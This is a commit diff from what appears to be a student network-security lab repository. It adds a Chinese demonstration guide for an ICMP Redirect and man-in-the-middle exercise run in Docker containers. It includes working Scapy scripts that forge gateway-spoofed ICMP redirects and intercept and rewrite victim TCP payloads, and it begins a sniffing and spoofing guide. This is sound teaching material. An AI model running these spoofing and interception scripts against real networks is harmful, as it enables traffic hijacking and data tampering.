updated some material
This commit is contained in:
472
ICMP_Directing/Experiment_Guide.md
Normal file
472
ICMP_Directing/Experiment_Guide.md
Normal file
@@ -0,0 +1,472 @@
|
|||||||
|
# ICMP Redirect 与 MITM 实验演示手册
|
||||||
|
|
||||||
|
本文档按“实际演示”来写,不只解释原理,还给出每个容器要执行的具体命令。
|
||||||
|
|
||||||
|
当前仓库已经包含可用脚本:
|
||||||
|
|
||||||
|
- `Labsetup/volumes/task1.py`
|
||||||
|
- `Labsetup/volumes/task1_improved.py`
|
||||||
|
- `Labsetup/volumes/task1_sniff_and_redirect.py`
|
||||||
|
- `Labsetup/volumes/mitm_attack.py`
|
||||||
|
|
||||||
|
其中:
|
||||||
|
|
||||||
|
- `task1.py` 是当前更适合展示的 ICMP Redirect 发送脚本
|
||||||
|
- `task1_sniff_and_redirect.py` 只在攻击者容器能看到 victim 单播流量时才适用
|
||||||
|
- `mitm_attack.py` 已修复死循环重发问题,可以直接用于 MITM 展示
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 实验目标
|
||||||
|
|
||||||
|
本实验分两部分:
|
||||||
|
|
||||||
|
1. 演示 ICMP Redirect 攻击,尝试让 `victim` 把发往 `192.168.60.5` 的流量改走恶意路由器 `10.9.0.111`
|
||||||
|
2. 演示 MITM 篡改,在恶意路由器上把 `hello seedlabs` 改成 `hello AAAAAAAA`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 拓扑与角色
|
||||||
|
|
||||||
|
| 容器 | IP | 作用 |
|
||||||
|
| :--- | :--- | :--- |
|
||||||
|
| `victim-10.9.0.5` | `10.9.0.5` | 受害者 |
|
||||||
|
| `attacker-10.9.0.105` | `10.9.0.105` | 发送 ICMP Redirect 的攻击机 |
|
||||||
|
| `malicious-router-10.9.0.111` | `10.9.0.111` | 恶意路由器,负责 MITM |
|
||||||
|
| `router` | `10.9.0.11 / 192.168.60.11` | 合法路由器 |
|
||||||
|
| `host-192.168.60.5` | `192.168.60.5` | 目标主机 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 启动环境
|
||||||
|
|
||||||
|
在宿主机的项目根目录执行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /home/gh0s7/project/netsecurity2026/ICMP_Directing/Labsetup
|
||||||
|
docker-compose up -d
|
||||||
|
docker ps
|
||||||
|
```
|
||||||
|
|
||||||
|
建议先确认容器都起来了:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker ps --format 'table {{.Names}}\t{{.Status}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 打开 5 个终端
|
||||||
|
|
||||||
|
建议分别打开以下终端,便于课堂展示:
|
||||||
|
|
||||||
|
### 终端 1: victim
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker exec -it victim-10.9.0.5 bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### 终端 2: attacker
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker exec -it attacker-10.9.0.105 bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### 终端 3: malicious-router
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker exec -it malicious-router-10.9.0.111 bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### 终端 4: target host
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker exec -it host-192.168.60.5 bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### 终端 5: router
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker exec -it router bash
|
||||||
|
```
|
||||||
|
|
||||||
|
`router` 终端不是必须,但展示路径时有帮助。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 演示前检查
|
||||||
|
|
||||||
|
### 在 victim 容器执行
|
||||||
|
|
||||||
|
先确认默认到目标网段的路由仍然指向合法网关:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
```
|
||||||
|
|
||||||
|
你应该看到类似结果:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
192.168.60.0/24 via 10.9.0.11 dev eth0
|
||||||
|
```
|
||||||
|
|
||||||
|
再清理路由缓存:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route flush cache
|
||||||
|
```
|
||||||
|
|
||||||
|
再查看当前 redirect 相关内核参数:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sysctl net.ipv4.conf.all.accept_redirects
|
||||||
|
sysctl net.ipv4.conf.eth0.accept_redirects
|
||||||
|
sysctl net.ipv4.conf.all.secure_redirects
|
||||||
|
sysctl net.ipv4.conf.eth0.secure_redirects
|
||||||
|
```
|
||||||
|
|
||||||
|
### 在 malicious-router 容器执行
|
||||||
|
|
||||||
|
先看恶意路由器的默认路由:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
```
|
||||||
|
|
||||||
|
### 在 attacker 容器执行
|
||||||
|
|
||||||
|
确认脚本在共享目录里:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ls -l /volumes
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 第一阶段: ICMP Redirect 展示
|
||||||
|
|
||||||
|
这一阶段分为两种情况:
|
||||||
|
|
||||||
|
1. 理想情况:当前内核接受 redirect,victim 会真的改路由
|
||||||
|
2. 当前环境常见情况:victim 能收到 redirect,但不会真的安装这条重定向路由
|
||||||
|
|
||||||
|
### 6.1 在 attacker 容器执行
|
||||||
|
|
||||||
|
先运行静态 redirect 脚本:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/task1.py
|
||||||
|
```
|
||||||
|
|
||||||
|
这个脚本会:
|
||||||
|
|
||||||
|
- 伪造源 IP 为合法网关 `10.9.0.11`
|
||||||
|
- 伪造源 MAC 为合法网关的 MAC
|
||||||
|
- 发送 ICMP Type 5 Redirect
|
||||||
|
- 引用一个最小合法长度的“原始触发包”片段
|
||||||
|
|
||||||
|
如果你想把发送次数调大一点,可以这样运行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/task1.py --count 50 --interval 0.2
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.2 在 victim 容器执行
|
||||||
|
|
||||||
|
在 attacker 正在发包时,触发 victim 访问目标主机:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ping -c 3 192.168.60.5
|
||||||
|
```
|
||||||
|
|
||||||
|
然后检查缓存和路径:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route show cache
|
||||||
|
ip route get 192.168.60.5
|
||||||
|
mtr -n -r -c 2 192.168.60.5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.3 成功时你应看到什么
|
||||||
|
|
||||||
|
理想情况下,`mtr` 第一跳会变成:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
10.9.0.111
|
||||||
|
```
|
||||||
|
|
||||||
|
`ip route show cache` 可能出现类似:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
192.168.60.5 via 10.9.0.111 dev eth0
|
||||||
|
cache <redirected>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.4 如果没有成功,这在当前环境是正常的
|
||||||
|
|
||||||
|
我在当前环境里实际验证过:
|
||||||
|
|
||||||
|
- victim 能收到大量 ICMP Redirect
|
||||||
|
- 但路由没有真正切换到 `10.9.0.111`
|
||||||
|
|
||||||
|
原因不是脚本完全没工作,而是当前容器共享宿主机较新的 Linux 内核,对 redirect 的接受条件比实验 PDF 对应的旧环境更严格。
|
||||||
|
|
||||||
|
你可以在 victim 容器里用下面命令说明“包确实收到了”:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nstat -az | grep Redirect
|
||||||
|
```
|
||||||
|
|
||||||
|
如果 `IcmpInRedirects` 持续增加,就说明 redirect 已到达 victim 内核。
|
||||||
|
|
||||||
|
### 6.5 关于 `task1_sniff_and_redirect.py`
|
||||||
|
|
||||||
|
这个脚本只在攻击者能嗅探到 victim 发往 router 的单播 ICMP 时才适合使用:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/task1_sniff_and_redirect.py
|
||||||
|
```
|
||||||
|
|
||||||
|
在当前 Docker bridge 拓扑里,`attacker` 通常看不到 `victim -> router` 的单播流量,所以这个脚本经常抓不到包。这不是代码语法问题,而是网络可见性问题。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 第二阶段: MITM 篡改展示
|
||||||
|
|
||||||
|
因为第一阶段在当前环境下可能不会真的完成“自动改路由”,所以演示时推荐手工把 victim 的目标网段路由改到恶意路由器。这一步相当于“模拟第一阶段已经成功”。
|
||||||
|
|
||||||
|
这能稳定完成第二阶段展示,而且可以清楚证明 MITM 篡改逻辑是正确的。
|
||||||
|
|
||||||
|
### 7.1 在 victim 容器执行
|
||||||
|
|
||||||
|
先把发往目标网段的路由改到恶意路由器:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route replace 192.168.60.0/24 via 10.9.0.111
|
||||||
|
```
|
||||||
|
|
||||||
|
验证:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
mtr -n -r -c 2 192.168.60.5
|
||||||
|
```
|
||||||
|
|
||||||
|
此时 `mtr` 应该看到类似三跳:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
10.9.0.111
|
||||||
|
10.9.0.11
|
||||||
|
192.168.60.5
|
||||||
|
```
|
||||||
|
|
||||||
|
说明流量已经先进入恶意路由器,再被转发到真实路由器和目标主机。
|
||||||
|
|
||||||
|
### 7.2 在 malicious-router 容器执行
|
||||||
|
|
||||||
|
关闭内核自动转发:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sysctl -w net.ipv4.ip_forward=0
|
||||||
|
```
|
||||||
|
|
||||||
|
然后启动 MITM 脚本:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/mitm_attack.py
|
||||||
|
```
|
||||||
|
|
||||||
|
这个脚本只拦截:
|
||||||
|
|
||||||
|
- 源 IP 是 `10.9.0.5`
|
||||||
|
- 目的 IP 是 `192.168.60.5`
|
||||||
|
- 二层目的 MAC 真正发给恶意路由器本机
|
||||||
|
|
||||||
|
因此不会再把自己重发的包抓回来无限循环。
|
||||||
|
|
||||||
|
### 7.3 在 target host 容器执行
|
||||||
|
|
||||||
|
启动 netcat 监听:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nc -lp 9090
|
||||||
|
```
|
||||||
|
|
||||||
|
这个终端要保持打开。
|
||||||
|
|
||||||
|
### 7.4 在 victim 容器执行
|
||||||
|
|
||||||
|
发起 TCP 连接并发送测试字符串:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
printf 'hello seedlabs\n' | nc -N 192.168.60.5 9090
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.5 在 target host 容器观察结果
|
||||||
|
|
||||||
|
如果 MITM 成功,目标主机终端不会看到:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hello seedlabs
|
||||||
|
```
|
||||||
|
|
||||||
|
而是会看到:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hello AAAAAAAA
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.6 在 malicious-router 容器观察结果
|
||||||
|
|
||||||
|
MITM 脚本终端会打印出它截获的原始载荷,例如:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Original data: b'hello seedlabs\n'
|
||||||
|
```
|
||||||
|
|
||||||
|
如果脚本是错误的,常见现象是会重复打印多次同一条已经修改过的数据,说明它抓到了自己重发的包。当前仓库中的 `mitm_attack.py` 已修复这个问题。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 一次完整展示时,各容器该执行什么命令
|
||||||
|
|
||||||
|
下面是一套可以直接照着走的顺序。
|
||||||
|
|
||||||
|
### 宿主机执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /home/gh0s7/project/netsecurity2026/ICMP_Directing/Labsetup
|
||||||
|
docker-compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
### victim 容器执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
ip route flush cache
|
||||||
|
sysctl net.ipv4.conf.all.accept_redirects
|
||||||
|
sysctl net.ipv4.conf.eth0.accept_redirects
|
||||||
|
ping -c 3 192.168.60.5
|
||||||
|
ip route show cache
|
||||||
|
ip route get 192.168.60.5
|
||||||
|
mtr -n -r -c 2 192.168.60.5
|
||||||
|
```
|
||||||
|
|
||||||
|
如果第一阶段未成功,继续执行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route replace 192.168.60.0/24 via 10.9.0.111
|
||||||
|
mtr -n -r -c 2 192.168.60.5
|
||||||
|
printf 'hello seedlabs\n' | nc -N 192.168.60.5 9090
|
||||||
|
```
|
||||||
|
|
||||||
|
### attacker 容器执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/task1.py --count 50 --interval 0.2
|
||||||
|
```
|
||||||
|
|
||||||
|
可选:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /volumes/task1_sniff_and_redirect.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### malicious-router 容器执行
|
||||||
|
|
||||||
|
先在第一阶段前可只查看路由:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
```
|
||||||
|
|
||||||
|
第二阶段执行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sysctl -w net.ipv4.ip_forward=0
|
||||||
|
python3 /volumes/mitm_attack.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### target host 容器执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nc -lp 9090
|
||||||
|
```
|
||||||
|
|
||||||
|
### router 容器可选执行
|
||||||
|
|
||||||
|
如果老师想看正常路由器是否还在链路中,可以执行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route
|
||||||
|
ip neigh
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 现场讲解时可以这样解释
|
||||||
|
|
||||||
|
### Q1: 为什么第一阶段可能失败,但第二阶段还能演示成功?
|
||||||
|
|
||||||
|
答:
|
||||||
|
|
||||||
|
- 第一阶段依赖受害者内核真正接受 ICMP Redirect
|
||||||
|
- 当前环境下 victim 容器共享宿主机较新的 Linux 内核,检查更严格
|
||||||
|
- Redirect 包能到达 victim,但内核未安装重定向缓存
|
||||||
|
- 为了继续展示 MITM 的核心思想,可以手工把 victim 的路由改到恶意路由器,相当于模拟第一阶段已经成功
|
||||||
|
|
||||||
|
### Q2: 为什么 `task1_sniff_and_redirect.py` 在当前环境未必好用?
|
||||||
|
|
||||||
|
答:
|
||||||
|
|
||||||
|
- 它要求 attacker 能看见 victim 发往 router 的单播包
|
||||||
|
- 当前 Docker bridge 网络通常不会把这类单播复制给 attacker
|
||||||
|
- 所以这个脚本在当前环境里常常抓不到包
|
||||||
|
|
||||||
|
### Q3: 为什么 `mitm_attack.py` 之前会重复打印很多次?
|
||||||
|
|
||||||
|
答:
|
||||||
|
|
||||||
|
- 因为原脚本只按 IP 层过滤
|
||||||
|
- 它把自己重发出去的包又抓回来处理了
|
||||||
|
- 现在脚本额外检查二层目的 MAC 是否真的是恶意路由器本机,从而避免死循环
|
||||||
|
|
||||||
|
### Q4: 为什么要关闭 `ip_forward`?
|
||||||
|
|
||||||
|
答:
|
||||||
|
|
||||||
|
- 如果不关,内核会直接把原始包转发出去
|
||||||
|
- 应用层脚本来不及修改内容
|
||||||
|
- 关闭后,脚本才能接管“抓包、改包、重发”的过程
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 恢复环境
|
||||||
|
|
||||||
|
展示完成后,建议把 victim 的路由恢复,避免后续混淆。
|
||||||
|
|
||||||
|
### 在 victim 容器执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ip route replace 192.168.60.0/24 via 10.9.0.11
|
||||||
|
ip route flush cache
|
||||||
|
```
|
||||||
|
|
||||||
|
### 在 malicious-router 容器执行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sysctl -w net.ipv4.ip_forward=1
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 最终建议
|
||||||
|
|
||||||
|
如果你要“稳定展示给老师看”,推荐这样安排:
|
||||||
|
|
||||||
|
1. 先演示第一阶段理论流程:attacker 发 redirect,victim ping,检查路径
|
||||||
|
2. 如果当前环境没有真的安装 redirect,就用 `nstat -az | grep Redirect` 证明 victim 已收到 redirect
|
||||||
|
3. 然后说明由于当前内核更严格,手工把 victim 路由切到 `10.9.0.111`
|
||||||
|
4. 继续演示第二阶段 MITM,把 `hello seedlabs` 成功改成 `hello AAAAAAAA`
|
||||||
|
|
||||||
|
这样展示是完整的,逻辑也是自洽的。
|
||||||
@@ -1,24 +1,34 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from scapy.all import *
|
from scapy.all import Ether, IP, TCP, get_if_hwaddr, send, sniff
|
||||||
|
|
||||||
|
VICTIM_IP = "10.9.0.5"
|
||||||
|
TARGET_IP = "192.168.60.5"
|
||||||
|
LOCAL_MAC = get_if_hwaddr("eth0")
|
||||||
|
|
||||||
|
|
||||||
def spoof_pkt(pkt):
|
def spoof_pkt(pkt):
|
||||||
# 如果是发往目标 192.168.60.5 的 TCP 数据包
|
if IP not in pkt or TCP not in pkt or pkt[IP].src != VICTIM_IP or pkt[IP].dst != TARGET_IP:
|
||||||
if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
|
return
|
||||||
newpkt = IP(bytes(pkt[IP]))
|
if Ether in pkt and pkt[Ether].dst != LOCAL_MAC:
|
||||||
del(newpkt.chksum)
|
return
|
||||||
del(newpkt[TCP].payload)
|
|
||||||
del(newpkt[TCP].chksum)
|
|
||||||
|
|
||||||
if pkt[TCP].payload:
|
newpkt = IP(bytes(pkt[IP]))
|
||||||
data = pkt[TCP].payload.load
|
del newpkt.chksum
|
||||||
print(f"Original data: {data}")
|
del newpkt[TCP].payload
|
||||||
# 修改内容,假设名字是 seedlabs -> AAAAAAAA
|
del newpkt[TCP].chksum
|
||||||
newdata = data.replace(b'seedlabs', b'AAAAAAAA')
|
|
||||||
send(newpkt/newdata, verbose=False)
|
|
||||||
else:
|
|
||||||
send(newpkt, verbose=False)
|
|
||||||
|
|
||||||
# 过滤器只捕获受害者的包,避免拦截自己发出的包导致死循环
|
if pkt[TCP].payload:
|
||||||
f = 'tcp and src 10.9.0.5'
|
data = pkt[TCP].payload.load
|
||||||
print("MITM script starting on malicious-router...")
|
print(f"Original data: {data}")
|
||||||
sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
newdata = data.replace(b"seedlabs", b"AAAAAAAA")
|
||||||
|
send(newpkt / newdata, verbose=False)
|
||||||
|
else:
|
||||||
|
send(newpkt, verbose=False)
|
||||||
|
|
||||||
|
|
||||||
|
print(f"MITM script starting on malicious-router (mac={LOCAL_MAC})...")
|
||||||
|
sniff(
|
||||||
|
iface="eth0",
|
||||||
|
filter=f"tcp and src host {VICTIM_IP} and dst host {TARGET_IP}",
|
||||||
|
prn=spoof_pkt,
|
||||||
|
)
|
||||||
|
|||||||
@@ -1,21 +1,70 @@
|
|||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
from scapy.all import *
|
import argparse
|
||||||
|
import sys
|
||||||
# ICMP Redirect packet
|
|
||||||
# IP layer: src must be the current gateway, dst is the victim
|
|
||||||
ip = IP(src='10.9.0.11', dst='10.9.0.5')
|
|
||||||
# ICMP layer: type 5 is redirect, code 1 is for host
|
|
||||||
icmp = ICMP(type=5, code=1)
|
|
||||||
# The IP address of the new gateway
|
|
||||||
icmp.gw = '10.9.0.111'
|
|
||||||
|
|
||||||
# The ICMP Redirect packet must contain the original IP packet that triggered it
|
|
||||||
# Victim's IP to the target destination
|
|
||||||
ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
# Full packet construction: IP/ICMP/original-IP/original-ICMP
|
|
||||||
pkt = ip/icmp/ip2/ICMP()
|
from scapy.all import Ether, ICMP, IP, conf, get_if_hwaddr, getmacbyip, sendp
|
||||||
while True:
|
|
||||||
send(pkt, iface='eth0', verbose=True)
|
|
||||||
time.sleep(1)
|
def build_parser():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Send forged ICMP Redirect packets with L2 spoofing."
|
||||||
|
)
|
||||||
|
parser.add_argument("--victim", default="10.9.0.5")
|
||||||
|
parser.add_argument("--target", default="192.168.60.5")
|
||||||
|
parser.add_argument("--gateway", default="10.9.0.11")
|
||||||
|
parser.add_argument("--new-gateway", default="10.9.0.111")
|
||||||
|
parser.add_argument("--echo-id", type=int, default=0x1234)
|
||||||
|
parser.add_argument("--echo-seq", type=int, default=1)
|
||||||
|
parser.add_argument("--count", type=int, default=20)
|
||||||
|
parser.add_argument("--interval", type=float, default=0.5)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def must_resolve_mac(ip_addr):
|
||||||
|
mac = getmacbyip(ip_addr)
|
||||||
|
if mac is None:
|
||||||
|
print(f"Failed to resolve MAC address for {ip_addr}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
return mac
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
args = build_parser().parse_args()
|
||||||
|
conf.verb = 0
|
||||||
|
|
||||||
|
victim_mac = must_resolve_mac(args.victim)
|
||||||
|
gateway_mac = must_resolve_mac(args.gateway)
|
||||||
|
attacker_mac = get_if_hwaddr("eth0")
|
||||||
|
|
||||||
|
outer_ip = IP(src=args.gateway, dst=args.victim)
|
||||||
|
redirect = ICMP(type=5, code=1, gw=args.new_gateway)
|
||||||
|
|
||||||
|
# Quote the original packet in the RFC-required minimum form:
|
||||||
|
# original IP header + first 8 bytes of payload.
|
||||||
|
inner = IP(src=args.victim, dst=args.target) / ICMP(
|
||||||
|
type=8, id=args.echo_id, seq=args.echo_seq
|
||||||
|
)
|
||||||
|
quoted = bytes(inner)[:28]
|
||||||
|
|
||||||
|
frame = (
|
||||||
|
Ether(src=gateway_mac, dst=victim_mac)
|
||||||
|
/ outer_ip
|
||||||
|
/ redirect
|
||||||
|
/ quoted
|
||||||
|
)
|
||||||
|
|
||||||
|
print(
|
||||||
|
"Sending forged redirects: "
|
||||||
|
f"gateway_ip={args.gateway}, gateway_mac={gateway_mac}, "
|
||||||
|
f"victim_mac={victim_mac}, attacker_mac={attacker_mac}, "
|
||||||
|
f"quoted_echo_id={args.echo_id}, quoted_echo_seq={args.echo_seq}"
|
||||||
|
)
|
||||||
|
for idx in range(args.count):
|
||||||
|
sendp(frame, iface="eth0", verbose=False)
|
||||||
|
print(f"sent redirect #{idx + 1}")
|
||||||
|
time.sleep(args.interval)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|||||||
@@ -1,24 +1,6 @@
|
|||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
from scapy.all import *
|
from task1 import main
|
||||||
import time
|
|
||||||
|
|
||||||
# 原始网关是 10.9.0.11
|
|
||||||
# 我们要受害者 (10.9.0.5) 将发往 192.168.60.5 的流量重定向到 10.9.0.111
|
|
||||||
|
|
||||||
# 外层 IP 包:假装是网关发送的
|
if __name__ == "__main__":
|
||||||
ip = IP(src='10.9.0.11', dst='10.9.0.5')
|
main()
|
||||||
# ICMP 重定向 (type=5, code=1: Redirect Host)
|
|
||||||
icmp = ICMP(type=5, code=1)
|
|
||||||
# 新网关
|
|
||||||
icmp.gw = '10.9.0.111'
|
|
||||||
|
|
||||||
# 包含在重定向包中的“触发包”负载
|
|
||||||
# 必须匹配受害者正在发送或刚发送的内容
|
|
||||||
ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
|
|
||||||
# ICMP echo request
|
|
||||||
pkt = ip/icmp/ip2/ICMP()
|
|
||||||
|
|
||||||
print("Sending ICMP Redirect packets...")
|
|
||||||
for i in range(10):
|
|
||||||
send(pkt, iface='eth0', verbose=False)
|
|
||||||
time.sleep(0.5)
|
|
||||||
|
|||||||
@@ -1,26 +1,41 @@
|
|||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
from scapy.all import *
|
from scapy.all import Ether, ICMP, IP, get_if_hwaddr, getmacbyip, sendp, sniff
|
||||||
|
|
||||||
|
victim_ip = "10.9.0.5"
|
||||||
|
target_ip = "192.168.60.5"
|
||||||
|
gateway_ip = "10.9.0.11"
|
||||||
|
malicious_router = "10.9.0.111"
|
||||||
|
|
||||||
|
victim_mac = getmacbyip(victim_ip)
|
||||||
|
gateway_mac = getmacbyip(gateway_ip)
|
||||||
|
local_mac = get_if_hwaddr("eth0")
|
||||||
|
|
||||||
victim_ip = '10.9.0.5'
|
|
||||||
target_ip = '192.168.60.5'
|
|
||||||
gateway_ip = '10.9.0.11'
|
|
||||||
malicious_router = '10.9.0.111'
|
|
||||||
|
|
||||||
def send_redirect(pkt):
|
def send_redirect(pkt):
|
||||||
if ICMP in pkt and pkt[ICMP].type == 8: # Echo Request
|
if IP not in pkt or ICMP not in pkt or pkt[ICMP].type != 8:
|
||||||
print(f"Captured packet from {pkt[IP].src} to {pkt[IP].dst}. Sending redirect...")
|
return
|
||||||
# 外层 IP 包
|
|
||||||
ip = IP(src=gateway_ip, dst=victim_ip)
|
|
||||||
# ICMP 重定向 (type=5, code=1)
|
|
||||||
icmp = ICMP(type=5, code=1)
|
|
||||||
# 有些 Scapy 版本对 gw 的处理有问题,直接使用其内部字段名或 hex
|
|
||||||
icmp.gw = malicious_router
|
|
||||||
# 负载应该是触发重定向的原始 IP 数据包
|
|
||||||
# 包括 IP 头部和至少 8 字节的原始负载
|
|
||||||
# 这里直接传整个 pkt[IP] 也是可以的
|
|
||||||
redirect_pkt = ip/icmp/pkt[IP]
|
|
||||||
print(f"Packet: {redirect_pkt.summary()}")
|
|
||||||
send(redirect_pkt, iface='eth0', verbose=True)
|
|
||||||
|
|
||||||
print(f"Sniffing for packets from {victim_ip} to {target_ip}...")
|
print(
|
||||||
sniff(iface='eth0', filter=f"icmp and src {victim_ip} and dst {target_ip}", prn=send_redirect, count=10)
|
f"Captured echo request {pkt[IP].src} -> {pkt[IP].dst}; "
|
||||||
|
f"local_mac={local_mac}, victim_mac={victim_mac}, gateway_mac={gateway_mac}"
|
||||||
|
)
|
||||||
|
frame = (
|
||||||
|
Ether(src=gateway_mac, dst=victim_mac)
|
||||||
|
/ IP(src=gateway_ip, dst=victim_ip)
|
||||||
|
/ ICMP(type=5, code=1, gw=malicious_router)
|
||||||
|
/ bytes(pkt[IP])[:28]
|
||||||
|
)
|
||||||
|
sendp(frame, iface="eth0", verbose=False)
|
||||||
|
print("redirect sent")
|
||||||
|
|
||||||
|
|
||||||
|
print(
|
||||||
|
"Sniffing for victim ICMP traffic. "
|
||||||
|
"This only works if the victim's unicast packets are visible on eth0."
|
||||||
|
)
|
||||||
|
sniff(
|
||||||
|
iface="eth0",
|
||||||
|
filter=f"icmp and src {victim_ip} and dst {target_ip}",
|
||||||
|
prn=send_redirect,
|
||||||
|
count=10,
|
||||||
|
)
|
||||||
|
|||||||
83
Sniffing_Spoofing/Experiment_Guide.md
Normal file
83
Sniffing_Spoofing/Experiment_Guide.md
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
# 网络安全实验:数据包嗅探与伪造(Sniffing & Spoofing)演示指南
|
||||||
|
|
||||||
|
这份文档旨在帮助你快速回顾实验步骤、关键命令以及核心理论,应对老师的实验验收。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. 准备工作:启动实验环境
|
||||||
|
|
||||||
|
在 `Labsetup` 目录下执行以下操作:
|
||||||
|
|
||||||
|
1. **启动容器**:
|
||||||
|
```bash
|
||||||
|
docker-compose up -d
|
||||||
|
```
|
||||||
|
2. **确认网络接口**:
|
||||||
|
由于实验代码中硬编码了网卡名称(如 `br-c031fbf1a197`),请务必在宿主机执行 `ifconfig` 或 `ip addr`,找到 IP 为 `10.9.0.1` 的网桥名称。
|
||||||
|
* **重要提示**:如果演示时报错 `Device not found`,请立即修改代码中的 `iface` 参数为实际查到的名称。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 任务集 1:使用 Scapy (Python)
|
||||||
|
|
||||||
|
### 任务 1.1: 基础嗅探 (Sniffer)
|
||||||
|
* **运行命令**:`sudo python3 sniffer.py`
|
||||||
|
* **测试步骤**:在 HostA 或 HostB 执行 `ping 10.9.0.x`。
|
||||||
|
* **验收提问**:
|
||||||
|
* **为什么需要 sudo?** 因为创建原始套接字(Raw Socket)和开启混杂模式需要 Root 权限。
|
||||||
|
* **如何过滤流量?** 解释 BPF 过滤器(如 `icmp`, `tcp port 23`)。
|
||||||
|
|
||||||
|
### 任务 1.2: 数据包伪造 (Spoofing)
|
||||||
|
* **运行命令**:`sudo python3 spoofer.py`
|
||||||
|
* **测试现象**:HostA 会收到一个来自虚假源 IP(如 `1.2.3.4`)的 ICMP 请求包。
|
||||||
|
|
||||||
|
### 任务 1.3: 自定义 Traceroute
|
||||||
|
* **运行命令**:`sudo python3 traceroute.py`
|
||||||
|
* **核心原理**:利用 **TTL (Time To Live)** 字段。从 1 开始递增 TTL,每一跳路由器丢弃包并返回 `ICMP Time Exceeded`,直到到达目标返回 `Echo Reply`。
|
||||||
|
|
||||||
|
### 任务 1.4: 嗅探并伪造响应 (Sniff-and-Spoof)
|
||||||
|
* **演示重点**:
|
||||||
|
1. Attacker 运行 `sudo python3 sniff_and_spoof.py`。
|
||||||
|
